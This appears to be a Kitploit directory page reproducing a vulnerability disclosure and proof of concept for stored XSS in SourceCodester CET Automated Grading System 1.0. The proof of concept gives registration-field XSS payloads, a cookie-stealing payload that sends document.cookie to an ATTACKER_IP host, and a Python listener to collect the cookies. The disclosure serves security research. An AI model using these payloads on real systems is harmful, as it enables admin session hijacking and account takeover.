Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-7401-XSS — Proof-of-concept for stored XSS in SourceCodester CET Automated Grading System 1.0, demonstrating unauthenticated payload injection via student registration leading to admin session hijacking. | Kitploit
Tools/GitHubGitHub/xmyronn/cve-2026-7401-xss
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubxmyronn/cve-2026-7401-xss

CVE-2026-7401-XSS

Proof-of-concept for stored XSS in SourceCodester CET Automated Grading System 1.0, demonstrating unauthenticated payload injection via student registration leading to admin session hijacking.

View Repository
326 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    352
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    291

Explore all tools

Browse our collection of tools

View all tools →
Share

Stored XSS in CET Automated Grading System — Student Registration (Unauthenticated → Admin Dashboard)

Details

FieldValue
VendorSourceCodester
Vendor URLhttps://www.sourcecodester.com
ProductCET Automated Grading System with AI Predictive Analytics in PHP and MySQL
Product URLhttps://www.sourcecodester.com/php/18686/cet-automated-grading-system-ai-predictive-analytics-php-and-mysql.html
Version1.0
VulnerabilityStored Cross-Site Scripting (XSS)
CWECWE-79
CVSSv3 Score8.8 (High)
Attack VectorNetwork
Auth RequiredNone (Student self-registration is public)
VictimAdministrator
User InteractionRequired (Admin visits dashboard)
ResearcherImad Alvi
Date2026-04-13

Affected Component

File: PersonalAGS/index.php?action=register (Student Registration)
Parameters: student_id, full_name, section, username (POST)
Triggered on: PersonalAGS/index.php?action=dashboard (Admin Dashboard)


Description

The student self-registration portal in CET Automated Grading System 1.0 fails to sanitize or encode user-supplied input before storing it in the database. An unauthenticated attacker can register a student account with JavaScript payloads injected into any registration field. The malicious payload is stored in the database and executes in the browser of any administrator who visits the dashboard where enrolled students are listed.

This is a critical attack chain — no authentication is required to inject the payload, but it executes in a privileged admin context, enabling session cookie theft and full admin account takeover.


Proof of Concept

Step 1 — Navigate to Student Registration (No Auth Required)

Navigate to the public student self-registration page:

http://localhost/cet-personalagms/PersonalAGS/index.php?action=register

Step 2 — Inject XSS Payload in Registration Fields

Fill in all fields with XSS payloads and click Register Account:

  • Student ID Number: "><svg onload=alert(1)>
  • Full Name: "><svg onload=alert(1)>
  • Section: "><svg onload=alert(1)>
  • Desired Username: "><svg onload=alert(1)>
Screenshot 2026-04-13 030707

Registration succeeds — the payloads are stored in the database.

Step 3 — XSS Fires on Admin Dashboard

When the administrator logs in and visits the dashboard, the injected payload executes immediately. The alert popup fires and the page layout is visibly broken by the injected HTML — confirming the payload is rendered unsanitized in the admin panel.

The dashboard section headers also reflect the injected values:

  • 1ST YEAR - SECTION 1ST YEAR" ONMOUSEOVE
  • 3RD YEAR - SECTION " ONLOAD=ALERT(1) X=
Screenshot 2026-04-13 030717

Session Hijacking Payload

An attacker can escalate this to full admin session hijacking by using the following payload in the registration fields:

" onmouseover="new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie" x="

Set up a listener on the attacker machine:

python3 -m http.server 8888

When the admin visits the dashboard, their session cookie is sent to the attacker's server, enabling complete account takeover.


Impact

An unauthenticated attacker can:

  • Inject persistent JavaScript into the admin dashboard via public student registration
  • Steal the administrator's session cookie and take over the admin account
  • Perform any admin action on behalf of the victim
  • Redirect administrators to malicious pages
  • Deface the admin dashboard

No authentication is required to inject the payload. The attack executes automatically when any administrator visits the dashboard.


References

  • SourceCodester — CET Automated Grading System
  • CWE-79: Improper Neutralization of Input During Web Page Generation.
Download Tool